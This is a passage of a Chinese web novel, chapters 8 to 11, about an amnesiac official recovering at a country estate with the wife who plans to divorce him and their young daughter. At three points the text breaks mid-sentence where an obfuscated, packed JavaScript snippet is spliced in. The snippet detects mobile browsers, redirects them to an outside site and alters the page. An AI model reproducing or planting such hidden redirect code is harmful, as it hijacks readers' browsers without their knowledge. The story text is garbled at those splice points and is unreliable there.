陆绍宁笑起来。 最后替他擦了脚,换上干净衣服,她就交待道:“我走了,再晚小七都要睡了,我明早再过来。” 陆绍宁略有失落地应了一声。 如今的他,自知自己身处险境,朝廷形势又复杂,他不敢轻信他人,只有妻子,倒成了他唯一能觉安稳的港湾,所以哪怕她只是离开一晚,也觉得不适。 到第二日,苏见微就开始收拾东西,此一去,既是消暑,又是养伤避世,也许要去一两个月,所以要带的东西也不少。 这一日也有人来访,陆绍宁一早见了两个,后面就推说身体不适,不再见了。 再过一日,一早便带好了衣物与随同护卫,往京郊而去。 8.第 8 章 苏见微让带着衣物器具的两辆马车先行,小七是孩子,不怕颠,却怕路途遥远没耐心,所以也乘了马车由奶娘陪着先行,她陪陆绍宁在后面,为省人力,她乘马车在最后,陆绍宁坐着轿子在她前面平稳地走。 他头上有伤,这一路还有些劳累,清早天没亮就出发,到庄子上已是夜幕之时,苏见微担心陆绍宁的伤,吩咐人将他抬到屋门前,她一路跟着,是别院管家直接领他们进的屋,到了屋内,扶陆绍宁躺下,苏见微才意识到一件事:很显然,这是他们两人共同的房间。 此时奶娘见他们到,便牵着小七一起过来了,说小七就下午时吃了个南瓜做的饼,正好与他们一同用晚饭。 苏见微见他们从院外进来,问:“小七住何处?” 她对这里不熟,不知道房间的分布。 奶娘说道:“就住前边的小院,原本管家问要不要让姑娘住这儿的厢房,我想着小孩子闹腾,大人又要静养,还是住了单独的院子,不知夫人的意思,我也没将衣服拿出来,要搬也是几步路的事。” 苏见微看看陆绍宁,回道:“奶娘说的有道理,还是让小七分开住的好。” 只是她呢?她倒想与小七住一个院子,就每日过来两趟,但显然陆绍宁不这么想。 几人用完饭,奶娘带小七去洗漱了睡,苏见微也想去,陆绍宁却不许,和她道:“昨夜你就陪了她,今夜就不必了吧。轿子里闷热,流了不少汗,你替我洗洗。” 苏见微不想给他洗澡,找理由道:“你还伤着,最好别乱动。” “只是走几步路到浴桶,没事的,我心里有数,你让人备水。”他可不是容易被劝说的人,言语非常坚决。 她只好道:“那我让永兴侍候你,男人力气大一些。” 陆绍宁欲言又止,想到她也坐了一天马车,大概是累了,便没再坚持让她洗。 苏见微也流了一身汗,待他洗完躺上床,自己也沐浴好,此时天色早黑下来,万籁俱寂,小七指不定都睡了,她别无选择,只能睡在这里。 且这里没有睡榻,陆绍宁睡在床外侧,里侧给她留着位置。 她熄了灯,缓缓爬上床,在最里侧躺下。 陆绍宁不能平躺,只能侧睡,此时便是面朝向她,过来拉住了她的手,喃喃道:“不必那么小心,我朝这边,也轻易翻不了身,你不会碰到我。” 他以为她是怕碰到他的伤。 苏见微只好往这边挪了挪。 他身上是他惯用的澡豆配方,有种淡淡的青木香,宁静的夜里,缕缕散到她这边来。 陆绍宁说道:“你没用蔷薇水了?” 苏见微想了起来,原本她不习惯用蔷薇水的,但京城时兴,刚成婚时,她也特地用过,那时的心思,大概也就是给他闻的,后来她第一次闻到他身上的脂粉味后就不再用了,觉得没意思。 时隔太久,这些事早就忘了,没想到失去记忆的他却记得清楚。 她没解释太多,就“嗯”了一声,算是应答。 陆绍宁说道:“你身上的气味也挺好闻,有一点你面脂的味道,好像是桂花的,还有一点好像是牛乳香味。” 苏见微不想和他讨论这些,回道:“你今日累了,早点休息吧。” “嗯,庄子上确实凉快一些。”这句说完,他便没再说话了,只仍握着她的手,安静闭上眼。 因有伤在身,他比以往虚一些,很快就睡去,苏见微躺在他身旁,却睡不着。 她转过头,在月光下看向他的脸。 这个男人,新婚时体贴,之后淡漠,她不知哪个是真正的他,也不知他在别人面前是什么模样,是那种会主动关心讨好的呢,还是那种需要人来温柔小意的。 最初他养了外室的事,是小七的奶娘告诉她的,奶娘与陆家厨房的管事刘妈妈是同乡,格外熟络一些,刘妈妈又是永兴的娘亲,所以小七的奶娘就知道了这事,转而来告诉了她,连同安置的地方、那姑娘的姓名,如何认识,何人介绍,一清二楚。 她身边陪嫁知道此事,都是警惕着急,因那外室是良家子,稍不注意就会登堂入室,做妾乃至做妻都有可能,不可不防,几人劝了她许多,她身边的妈妈还悄悄和她说,莺歌柳语都是自己人,模样也不错,不如挑一人抬房,这样陆绍宁就不再好意思收外人进房了。 的确,这是最常见的做法,用自己人代替掌控不了的外人。 但她没动,没在行动上作出什么表示,也打从心里觉得自己早已不在意,只觉得没劲。 可自那之后,一旦闲下来就会想起这事,想起那个未曾谋面的女子,想起此时的他是真在忙公务,还是早已去与他人男欢女爱。 甚至连他们纠缠床榻的模样,她也想了无数回。 枕畔陆绍宁传来均匀的呼吸,她缓缓将自己的手从他手中抽出,翻身背朝他,往里靠了靠。 既已决定和离,就不要再更改了,待他养好伤身体无恙,不管他有没有想起来,就告诉他真相吧,然后拿了和离书回睦州。 一早醒来,才要喊小七过来用早饭,却见外面传来欢笑声,苏见微从窗内往外看,就看见小七正追着一只母鸡跑,那母鸡无处逃窜,扑腾着翅膀逃来了他们这院里,小七仍旧不放过,左冲右突,最后将那只肥母鸡逼至角落,一把抓住。 奶娘在她身后叫唤:“哎哟我的祖宗,一早才换的衣服!” 苏见微少见女儿这么欢快的时候,“扑哧”一声笑了出来,说道:“这庄子还来对了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546548|186349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,让她有了新玩意儿。” 陆绍宁还在床上坐在,看看窗外,又看看她,说道:“确实来对了,这几日我也少见你笑,到这边来你心情好似好一些。” 苏见微低头道:“你出了这样的事,心情哪里能好?那事是什么人干的,至今也没什么头绪。” 陆绍宁说道:“难有头绪,敢朝我下手的不是普通人,既不是普通人,查起案来也有顾忌,不好查。” 他虽忘了事,却一点也不糊涂。 “我想下去用饭,在这床上我是躺够了。”他说。 苏见微问:“你能行么?别扯动了伤口。” “只是几步,没事的,我都从京城到庄子上来了。” 苏见微想着他一个大活人每日卧床确实难受,便叫来永兴,小心将他扶到了桌旁,坐在了窗边。 “能吹风么?” “怎么不能,又不是风寒。”他一边回着,一边看着外面的女儿,小七此时将那肥鸡抱到了窗前,给两人看。 “我抓到它了,它养这么胖,真重。” 奶娘本想阻止,怕她弄脏衣服,又被鸡啄伤,但见主子夫妻二人笑吟吟的,并不说什么,就将话咽了下去。 陆绍宁说道:“既然被捉了,杀了中午给我们小七炖汤喝怎么样?” 小七回道:“我不要喝汤,也不要杀它。”说罢,紧紧将鸡抱住,后腿两步。 陆绍宁笑道:“好好好,不杀,让它陪你玩。” 苏见微道:“先放了鸡,洗把手过来吃饭。” 小七乖乖放了鸡,进屋来洗手吃饭。 她下意识就坐到苏见微身旁,让苏见微给自己盛粥。 但粥碗就在陆绍宁身旁,陆绍宁接过苏见微的碗,要自己给她盛。 苏见微担心道:“你小心你的伤。” 他左臂不能动,右臂也不能做过大的动作,怕扯动伤口。 “无防。”陆绍宁嘴上这样说,却在盛粥时还是洒了一些,可见抬手有些吃力。 苏见微忙接过碗,递给小七。 小七看着陆绍宁,低声道:“谢谢爹爹。” 陆绍宁心满意足,有一种为人父的欣慰和喜悦。 待吃完,小七就要出去玩了,陆绍宁见苏见微一动不动盯着窗外,便道:“你要不要陪小七去玩一会儿?总守着我也无趣。” 苏见微转头道:“那我午饭前回来,让永兴进来陪你。” 陆绍宁无话可说,他没想到她这么干脆,丝毫不犹豫。 没办法,话已说出去,也不能收回了,他答应下来。 苏见微便出去了,留他一人在房中,一时安静得可怕,永兴进来问他要不要茶水,要不要书本,要不要点心,他只觉得烦。 9.第 9 章 自嫁入陆家,苏见微也有许多出去的机会,譬如回娘家、上相国寺探望婆婆,或是一些红白喜事,与京中贵妇的交游,可她身份在此,一举一动都代表着陆家,不可放肆,但这儿却不同,这儿山明水阔,白鹭齐飞,田野一望无际,是真正的散心。 她马上就在荷塘边找到小七,这孩子正与庄子上的孩子们一起摸虾钓□□呢,其中一个叫小石头的男孩似乎是此中能手,耐心地教着小七,小七呢,衣服全弄上了泥点子,却十分投入。 奶娘心焦,不住劝她别玩了,弄脏了衣服洗不掉,苏见微上去道:“算了,难得她有机会出来玩,明日去借几套旧衣给她,随便她怎么折腾好了。” 奶娘称是,这才作罢。 苏见微在旁边看了一会儿,忍不住到荷塘边上,亲自够着身子摘了几朵荷花和莲蓬。 待小七玩累了,又让她自己去瓜地里抱了个西瓜出来,到凉亭中切了,苏见微叫上之前与小七一起玩的小孩们,在凉亭中吃了个够,见日头渐热,才带小七回房去。 小七得知苏见微要去房中将荷花养起来,她便自告奋勇要去插花,也随苏见微一起去了正房。 陆绍宁正坐在窗边看书,小七大概才想起娘亲的房中还有爹爹,见了他,人便陡然拘谨起来,牵住了娘亲的衣裙。 陆绍宁抬起头,看见苏见微手上捧着荷花,问:“去荷塘边了?” 苏见微“嗯”了一声,放下荷花去找罐子来,陆绍宁朝小七伸出手,示意小七到他身边去。 “身上弄得像个小泥人,去荷塘边在玩什么?”陆绍宁拉着女儿道。 被人问起,小七就兴奋起来,马上回答:“钓□□,我钓了三只!” “这么多?”陆绍宁露出惊讶的模样,小七继续道:“小石头说□□能吃,他说让他娘做成菜给我送来,我就给了两只他,还有一只养起来了。” “养起来了?”陆绍宁笑了,问:“养在哪里?” 小七马上跑了出去,没一会儿回来,手上竟提着个木桶,将木桶给陆绍宁看,里面果真有只蹦跶着想跳出来的□□。 陆绍宁摸着她的头道:“今晚准备让它陪你睡么?” “嗯,我把它放在床下面。” 陆绍宁道:“林子里有刺猬,树上还有鸟,等爹爹伤好了陪你去捉。” “好,那爹爹你快点好吧!” 她一说话,陆绍宁问:“怎么一股清香,你刚才吃西瓜啦?” “吃了,我吃了两块,还想吃,娘不让我吃了。” 这时苏见微拿来罐子,盛了水放在桌上,问小七是不是要插荷花。 小七连忙点头,陆绍宁问她:“你们吃西瓜了?怎么没人给我送来。” 苏见微无语道:“你有伤,不宜吃生冷。” “我是头受伤,又不是腹痛,怎么不能吃?” 苏见微觉得奇了怪了,他以前不这么孩子气的。 陆绍宁道:“你快去给我拿两片来,我天天喝粥都要喝出病来了,这么热的天,我在病中,更要消暑。” 苏见微只好妥协:“那你少吃点。” “放心,我知道的,我就尝尝。”他保证。 苏见微便让人去拿西瓜,不一会儿一盘西瓜就拿来,陆绍宁在边上吃,看着苏见微在桌边教小七往罐子里插荷花。 难怪那么嫩的莲蓬也摘来了,原来不是吃的,而是插在罐子里与花相配的。 他自己学的全是仕途经济那一套,要考科举,便一心学科考之道;要做官,便一心学官场之道,至于插花赏石这些则很少涉猎,如今看苏见微将常见的几只荷花摆弄一会儿,就变成极美的一罐花,只觉赏心悦目,连居家养伤的心情都好了许多。 苏见微带着小七插了两瓶花,一个广口白色罐子,插了五六只荷花和花苞,再加三片荷叶,看着有富贵如意之象;另一只是青色的小口瓶子,只插了一只荷花,一只花苞和荷叶,加两只芦苇,又是另一种意境幽远的美。 插完花,苏见微又教导着小七挑两个地方摆好,等一切完毕,抬起头,只见陆绍宁早已没吃西瓜了,就靠坐在窗边,将书拿在手里,也没看,就静静看着两人,也不知看了多久。 苏见微有些不好意思道:“不是说很想吃么,怎么就吃了一小块?” “还是要听夫人的话,少食生冷。”他回答。 这“夫人”喊得亲昵,她又觉得不适应。 陆绍宁朝她道:“我想了几个名字,又从里面挑出了我最喜欢的一个,你来看看。” 苏见微过去,就看见陆绍宁拿出一张纸来,上面早已方方正正、丝毫不带草地写好了三个楷体字。 小七也看见了,在一旁念道:“陆、明……”后面的字她不认识。 “陆明舒?”苏见微见了,有些意外,忍不住问:“不与二叔家的萍萍同用草字头么?” 陆绍宁摇头:“什么萍菊芳蕊的,花花草草的太小气,我不喜欢。明舒,光明宽广,无论是前途或是心境,我都望她光明。” 他揽着小七的肩道。 苏见微有些犹豫,因为如果将陆姓改成苏姓,就成了苏明舒,十分绕口,她怕到时候和离了还得再换名字。 此时陆绍宁已经问小七道:“小七觉得怎么样?给你取名明舒?好不好?” 小七哪里懂这些,她看着那个“舒”字道:“像一个房子,旁边有一棵树,我喜欢。” “好,那就叫这个名字了,待你大一些,爹爹再给你取个字。”陆绍宁说。 在苏见微犹豫时,这名字就这样确定了,苏见微没想到好的拒绝的理由-——而且,她还挺喜欢这个名字的。 “你认识‘陆’和‘明’?”陆绍宁一边问着,一边想将小七抱起,试了试,发现会扯动身上的伤就作罢,只好揽她在怀中。 小七回答:“认识,娘教我的,我姓陆,‘明’是明天的‘明’。 陆绍宁笑道:“咱们家小七真是女才子,这么小就能认字了,后面这个念“舒”,和“读书”的“书”同音,也是“舒服”的“舒”。 七小问:“我知道了,爹爹给我取名的意思是让我‘明天很舒服’,娘说“明天”有很多个,每天都是前一天的明天,所以就是‘每天都舒服’。 陆绍宁被她神奇的想法弄得忍俊不禁,只好说道:“你说的对,就是每天都过得舒舒服服。” 陆绍宁又在纸上将“陆明舒”三个字写一遍,给女儿讲横要如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16551639|186349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何,竖要如何。 可以想见,等小七大了他真会认认真真给她请老师,教她做文章,好像对她也抱着与儿子一样的期许。 意识到自己的想法,苏见微马上一惊:以后?她想得太远了吧,等他想起来,或者按六年前一样的发展,很快他就会失去耐心,将家中妻儿看得像烂驴棚一样,一道目光都不会停留。 没一会儿几人一起用午饭,果然有人送了炒好的蛙肉过来,说是庄上的佃农,苏见微得知正是小石头的娘亲,便让她进来,给了赏钱。 石头娘的厨艺还不错,也因为有自己的功劳,小七十分喜欢这蛙肉,比平常多吃了一碗饭。 午后太阳大,又吃饱喝足,奶娘带小七去午睡,陆绍宁也不太精神了,躺上床去休息,喊苏见微一起,苏见微却没有午睡的习惯,并不去,陆绍宁便自己睡了。 苏见微去窗边,这才发现他刚才看的是自己的书。 她外公名为许知风,二十二岁,赴京赶考,考完逗留京中等待放榜时却因人诬告奸杀妇女而入狱,将他在狱中关了十日,十日后,案情查清,他无罪释放;榜也放了,外公高中第一名省元。 以外公的成绩,只须参加最后的殿试,不是状元也是三鼎甲,但他却毅然放弃功名,回了家乡睦州,再不应试,也不出仕。 在睦州,外公除写诗作著外,将最大的精力放在了家中藏书楼停云阁上。 许氏为书香门第,历经数代,家中藏书极多,外公而立时开始筹建藏书楼,五年建成,到她离开睦州中,家中藏书已有数万册,竟成了睦州一处名胜。 从小苏见微便与外公一起找书、抄书、藏书,十多年间,这已成了她的习惯,出了门就爱逛书摊,见了新书便要买,只是这习惯到了京城便渐渐荒废,除了偶尔见到奇书会买下外,她很久没有动笔抄书了。 这本《九幽怪志》是她前两年在京城书摊上买的,是作者本人手稿,本想抄录之后将这手稿封存,却一直不曾动笔,这一次到庄子上,她将这书带了过来,没想到就被他看见了。 她将书打开,才发现他不只看了,还在上面写了批注! 那叫什么批注呢,单纯就是讥讽诟病,从文辞到故事逻辑,再到作者意图,全都一顿批评,譬如作者讲书生夜宿破庙,遇狐仙报恩,他就评论,原本要进京赶考,遇美色就将功名前程抛至一边,乐不思蜀,实在枉为人子枉读圣贤书;作者讲闲汉偶进画境杏花城,发生一串奇遇后得到聚宝盆,他就评论,模仿《桃花源记》拙劣之作,主角不思进取,游手好闲,还幻想遇仙境做英雄并大发横财,实在是异想天开。 …… 总之,看了他的批注,保证就不想看这书了。 这可是孤本手稿,谁允许他这样! ——虽然,他说的有道理,这书确实不怎么样,但她就是讨厌这样糟污她的书! 苏见微气鼓鼓地回过头,看到床上酣睡的男人,恨不得把他摇醒了大骂一通! 实在讨厌! 她带着怒火将上面乱七八糟的批注翻了翻,深深吸气让自己平息,随即将这怒火咽下,拿了备好的纸张来开始抄书。 罢了,懒得同他计较,待他伤好,两人何去何从还未知呢。 10.第 10 章 陆绍宁醒来时,苏见微已抄好了五大页纸。 听见动静,她自桌前抬起头,问他:“要起身么?” “嗯。” 苏见微放下笔,去床边扶他起来,他起身后缓缓走到桌边,问:“你在抄这本书?” “嗯。” “这书也值得抄?你这一手字,用来抄这书可惜了。”他道。 不管怎么说,被人夸字好还是挺高兴的,苏见微原谅了他的胡乱批注,回道:“若我外公这样想,许氏藏书楼便建不起来。” 陆绍宁了解,这话倒是,若以藏书者的好恶来说,不喜欢的都不要,那可能就没几本书了。 “你是给你外公抄的?” 许氏藏书楼在睦州,名停云阁,听说藏书破万卷,他也有所耳闻。 苏见微应声:“嗯。” 陆绍宁道:“那要找机会送去睦州,要我去我同窗韩家问一问么,他们家表亲做皇商,认识许多商队,能顺便带过去。” 苏见微抬起头来,略作思忖后回道:“不用。” “为何?” 因为如果她回睦州,就能自己亲自带过去。苏见微还没回话,莺歌进来道:“大人,夫人,大夫过来了。” 苏见微便一边吩咐宣人进来,一边将桌上东西收好。 大夫是来给陆绍宁换药的,庄上的庄头介绍,说是附近镇上的,医术不错。 没一会儿大夫进来,人倒年轻,不到四十模样,说话行事没有京城大夫那么老成持重,不须两人主动问便能说许多如何调理,如何休养的事,十分热络,倒让苏见微觉得不错。 这大夫告知,伤口恢复得很好,肩头的伤大概半个月能愈合,头上的一两个月才能见好,但要完全没感觉,还要多养养。平日多休息,多吃清淡鱼肉,可能也好得更快。 苏见微给了赏银让大夫离开,正好吩咐厨房晚上做鱼羹。 这一日下午尤其热,庄子上本身凉快,没有冰窖,条件也不比城里府上,无冰可用,苏见微提前在床上铺了竹簟,晚上要上床,却还是觉得热。 陆绍宁已擦洗完,也觉得热,和她道:“替我把上衣脱了,太热。” 他肩头有伤,苏见微帮着他,就着烛光替他将上衣脱了,只着裤子,赤着上身。 他舒了一口气,道:“脱了衣服果然舒服多了。”随后看她:“你也脱了,穿这么多不热么?” 她比他还多一层布料,因为里面有一层抹胸。 苏见微连忙道:“不用,我不热。” 他质疑道:“怎会不热,你刚还在找扇子。” “我……我不习惯。”她只好说。 陆绍宁看她半天,想起来她一直十分小心,两人是夫妻,同居一室这么久,虽同眠共枕,她也替他擦过身、穿脱过衣服,也用着同一个浴桶、同一间浴房,他却从没见她裸露身体。 沐浴前,她是去了浴房才脱衣服,穿好衣服再出来;偶尔换衣服,也是专门去了浴房,并不在房中当着他的面换,像此时这样只着抹胸与寝衣,已是她最过分的行为,毕竟这夏日里,不可能和衣而卧吧。 要不是他还记得婚后半个月的事,还要以为他们是没有圆过房的假夫妻,有一个假女儿。 他朝她看过去,夏日寝衣虽单薄,但晚上灯光暗,却看不出什么……只是那寝衣里面的光景他再熟悉不过,记得清楚,握在手里,犹如揣着只小白兔,软绵绵,沉甸甸,那般丰满诱惑,和她那清丽柔婉的脸庞很不般配。 他觉得更热了,吩咐道:“替我拿碗水吧,冷的。” 苏见微默不作声,替他倒了碗晾冷的开水过来。 陆绍宁一边喝水,一边看向她,不好意思说自己身上带着伤,行动不便,还在想些有的没的。 她最终还是没脱衣服,就那么躺下,陆绍宁侧身躺在她身旁,看着她,伸手拉住她胳膊,从上往下,缓缓滑到她手腕上。 每晚睡着他都爱拉她的手,苏见微也习惯了,只是静静躺着,不回应,也不作声。 他问:“你这寝衣是什么布料,比我的寝衣舒服。” 苏见微回道:“你是丝衣,怎么不舒服?” “太滑。” 苏见微有些想笑,因为她也觉得丝料太滑,之前用过丝料的被子,实在用不习惯,就换了。 她道:“就是普通的布衣,自己做的。” “我怎么没有?没顺手给我做一件么?”他问。 这又将苏见微问住了。 曾经她也曾儿女情长,给他做了香囊,后来偶然见后院一个丫鬟拿着,疑心是她从陆绍宁那里偷了,便带来质问,才知是前院小厮送的,两人有私情,再一问,原来是陆绍宁赏给小厮的。 她没有去找陆绍宁对质,因为她信了小厮的话,小厮说得清清楚楚,他是打扫马棚的,某一日治好了陆绍宁坐骑的口疮,陆绍宁一高兴,就随手把香囊赏他了。 而那之后,她的确没见陆绍宁佩戴过香囊了,陆绍宁也没告诉她香囊哪里去了。 那时她已怀孕,陆绍宁已经开始时冷时热,她开始给腹中的胎儿做衣服,再没给他做过一针一线。 如今经年过去,他竟向她讨要。 苏见微只好说道:“我现在也很少做针线了,我的针线一般,不如府上的绣娘。” “你做的又怎么和别人一样,你给我做一件吧。” 苏见微轻声道:“等你伤好了再说。” 说着话,外面就传来树叶娑娑声,一阵阵的,连窗棱都开始微微作响,显然起风了,还不小。 “要下雨了吗?”她自语道。 下午确实热得反常,下点雨好,也消消暑气。 正这么想着,房间陡然一亮,不多时便一阵惊雷骤起。 竟是雷雨。 下一瞬,雨点便落下来,哗啦啦犹如千军万马奔腾而过,随即又一阵白光,仿佛要将屋子也撕裂,雷声轰得人心惊胆战。 苏见微忍不住从床上坐起来。 陆绍宁见她起身,问她:“怎么了?” “我怕小七害怕,想着要不要去陪她。”她道。 陆绍宁拉住她手,“不是有奶娘陪着么?这么大的雨,你若过去一趟都淋湿了,若她没醒,你过去倒把她惊醒了。” 雨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16556966|186349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确实大,苏见微有些犹豫,听他这样劝说,又躺下来。 陆绍宁在闪电中看着她,发现她睁着眼,眼里是平静,带着放心不下的隐忧,这让他清晰地意识到,自己确实丢失了六年。 他还没完全适应女儿的存在,想的是她在雷声响起时娇气地躺进他怀中,让他护着她,抱着她,可她不是,她离他远远的,心里记挂着女儿。 他不禁想,六年后的他们,具体是什么样呢?是不是虽也恩爱,但更多是亲人般的信任,却不如新婚时那样心悸甜蜜了? 雨一直下,除了雨声没有其他动静,听惯了,卧房里倒生出几分温馨安稳来,苏见微也就不再担心女儿,慢慢睡去了。 第二日门前都是积水,还有细雨,苏见微让奶娘将小七带到正房中玩,小七却不干,说是和小石头约好了,小石头说今日要是下雨,就带她去摸泥鳅,她要去摸泥鳅。 见女儿兴致冲冲的模样,苏见微不好扫兴,只好答应,让奶娘看着她,别让她摔伤或是掉进池塘。 原来这庄上有一处水沟,下雨会有后面的河湖田地里的水汇积了流下来,还真能弄到不少小鱼小虾小泥鳅,所以往往下雨,这儿就是庄上孩子们的最爱。 小七玩得不愿回来吃饭。 翌日天晴,碧空如洗,恰是中元节,白日苏见微在庄子上安排了祭祖,等到晚上,夜凉如水,圆圆一轮明月高挂天空。 陆绍宁与小七一同坐在庭院中吃葡萄,没吃几颗苏见微就来了,说庄上夜里凉,不让两人多吃。 小七皱起小脸,苏见微为哄她去睡,只好给她讲故事,从十大金乌,到羿射九日,再到嫦娥奔月,逢蒙杀羿,最后还讲了台州蛇姑和鄱阳水神的传说,这是连陆绍宁都不曾听闻的,好久小七才算睡着,奶娘将她抱去房间。 陆绍宁一直在旁边坐着,只是小七认真听着故事,陆绍宁却一边听着,一边看着妻子,待奶娘带小七走了,他靠在椅背上,看着苏见微道:“待在陆家真是埋没了夫人,夫人若去说书,保证能成为花月楼的台柱子。” 花月楼是京城最大的酒楼,两楼连排,以长廊相接,足有三层,里面说书人就有五六位,说得最好的是个叫孔先生的老者。 此夜此月,良辰美景,苏见微不禁心情也好了许多,又听见夸赞,不免生起几分得意来,内敛地笑了笑,并不虚心地默认了。 陆绍宁问:“哪里听来那么多奇怪故事?” 苏见微道:“无它,小时候闲书看得多。” 陆绍宁又问:“怎么到陆家了没见你看过?” 苏见微想了想,说道:“母亲不喜欢。” 那时嫁来陆家一个月,正逢八月十五,二婶请了说书人到家中说书,说的正是神怪故事,婆婆得知,回来说,神鬼邪说,难登大雅之堂,她便知道婆婆不喜欢这些,所以房里只放了诗书和《女诫》。 陆绍宁也知道母亲是个十分正经刻板的人,确实不喜欢这些,便说道:“如今母亲不在家中了,你爱看多少看多少。” 母亲当年也是京城闻名的才女,他觉得在某些方面,妻子和母亲有些像,但有更多的地方却是不像的。 11.第 11 章 苏见微剥了一粒葡萄放入口中,觉得清爽甘甜,沁人心脾。 她看着月亮,低声道:“今日是中元节,我们既不在家中祭祖,又没去放河灯,只随意烧了些纸敷衍了事,却坐在这儿乘凉,是不是有些不孝?” 只因此时太惬意,而她又想起今日是中元节,所以生起几分愧疚来。 陆绍宁也拣了一粒葡萄,递过来要她帮自己剥皮,说道:“中元节不是先人规定的,也是活人规定的,同样是这天,是这地,是这月亮,上元节中元节又有什么分别?” 苏见微看着他,评价道:“大逆不道。” 说完,将剥好的葡萄递给他。 他直接张嘴来取,湿热柔软的唇碰上她指尖,让她不觉脸发烫,收敛心神将手收回。 “大逆不道这词也是活人造出来的,是活人规定的,世上诸多事,本就只与活人相干,与先人无干,人死灯灭,先人哪里管得了这么多。”他说。 苏见微看向他,轻笑,过了一会儿,说道:“父亲过世后,你只是沉默,没有太过悲伤的模样,小叔从扬州赶回来,父亲已出殡,小叔在父亲灵前痛哭,还曾对你出言不逊。” 陆绍宁沉默片刻,说道:“腾宵年轻,人又长年在军中,血气方刚,随他去吧,不与他计较就是。” 他说得随意,而在当年事发时,他们夫妻已开始疏离,他也没太多解释。 但苏见微明白,他有所隐瞒,事实并不像他这般轻描淡写,什么不与小叔计较。 嫁来陆家这么久,陆绍宁与陆绍羽二人兄弟失和,她怎么可能看不出? 她主动提醒道:“你们家的爵位还没定数,皇上还没下旨,而且早几年,也就是我们成婚后不久,祖父受了追封,为卫国公。” 陆绍宁看向她,明白了她的意思。 陆家祖父陆衍为开国侯,本朝将爵位收得紧,鲜有世袭罔替者,对于开国功臣子孙袭爵都须严厉考核,最终考核通过,也是降等袭爵,因此许多开国功勋到子辈就丢了爵位,顺利袭爵也是降等。 所以他父亲陆君仪袭了兴武伯,到他这一代,原该是子爵。 没想到祖父竟受了追封,既受追封,这便有了变数,陆家孙辈不只可能受袭子爵,也有可能仍袭伯爵,全看皇上或太后的意思。 大概是因父亲是次子身份袭爵,也大概是父亲宠爱弟弟,所以弟弟一直存有袭爵的野心。 原先只是个子爵他就觊觎,更遑论伯爵,想必是削尖了脑袋想往上蹿。 他竟不看看,父亲虽是次子,却是嫡子,也考中功名,而他又是个什么东西?婊|子养的下贱货而已。 只是这些,实在太过狼狈不堪,他以为他不会和妻子说,没想到妻子却是知道的。 也是,六年夫妻,就算他不透露,妻子也能看出来。 他黯然道:“腾宵如今在军中任校尉?什么校尉?” 苏见微回道:“在鹰击营做从五品越骑校尉,屯军京郊。” 大理寺左丞为从四品,越骑校尉为从五品,两人竟只差了两级,他还长腾宵好几岁呢。 苏见微继续道:“父亲在世时,对小叔多有照顾,如今父亲不在了,小叔多半比以往辛劳一些。” 陆绍宁许久没说话,这些也在预料之中。 东平侯府毕竟是武将,父亲自己又是云麾将军、兵部侍郎,有他为弟弟铺路,怎会不青云直上? 苏见微在猜测陆绍宁的心思。 陆绍宁从没和她说起过与弟弟的关系,但她觉得,这两人是有明争暗斗的,而且都在争陆家的爵位。 那时候公公离世,陆绍羽便当着府上众人大骂兄长,先说父亲是被他所害,又说他故意瞒报父亲病情,让自己错过与父亲最后一面,指责兄长欲争夺爵位,因为父亲曾说要将爵位给他…… 陆绍宁那时一派平静,只冷冷笑了一声,说道:“娼|妓之子,竟想袭爵,莫折了亡父颜面。”说完就让人将陆绍羽带下去。 那天晚上,陆绍宁喝了酒,回房二话不说,不顾孝中,就拉她行房,不由拒绝。 她知道他心中有事,但他不说,她一惯矜持,没有那样的执念和勇气逼着他开口,两人从不曾交心。 那时扬州有水患,并不太平,陆绍羽没时间守孝就回到了军中,再到后来,陆绍羽的生母姚姨娘因京城时疫离世,陆绍羽对兄长恨意便更浓了,认为是陆家没有好好照顾他生母,才让生母患病,但当时京中确实有许多人因时疫过世,姚姨娘也向来体弱多病,苏见微管着后院,知道此事实在怪不上他们夫妻。 但陆绍羽并不这么想,此后他就与酷吏郭贤一党走得近,而这正是陆绍羽厌恶的。 陆家爵位至今悬而未决,自然成了兄弟二人势必赢到手的彩头。 她想,陆绍宁得知弟弟也升了五品,心中大概是难过的,所以告诉他,公公给小叔出了不少力。 可这样不就证明公公偏爱小叔? 当然公公对陆绍宁也温和亲厚,只是苏见微觉得相比小叔,似乎多了和气而少了亲近。 她心里想着很多,可陆绍宁其实从未和她提起这些事,她不知怎样才能安慰,又觉得不好贸然安慰,所以沉默着没出声。 陆绍宁道:“我常和你提起和腾霄这些事么?” 不知怎地,苏见微觉得他这话有些试探。 试探他在曾经的六年夫妻里,和她说了多少。 也许她可以默认,然后探听更多他的心里话,可是……她终究不是那样的人。 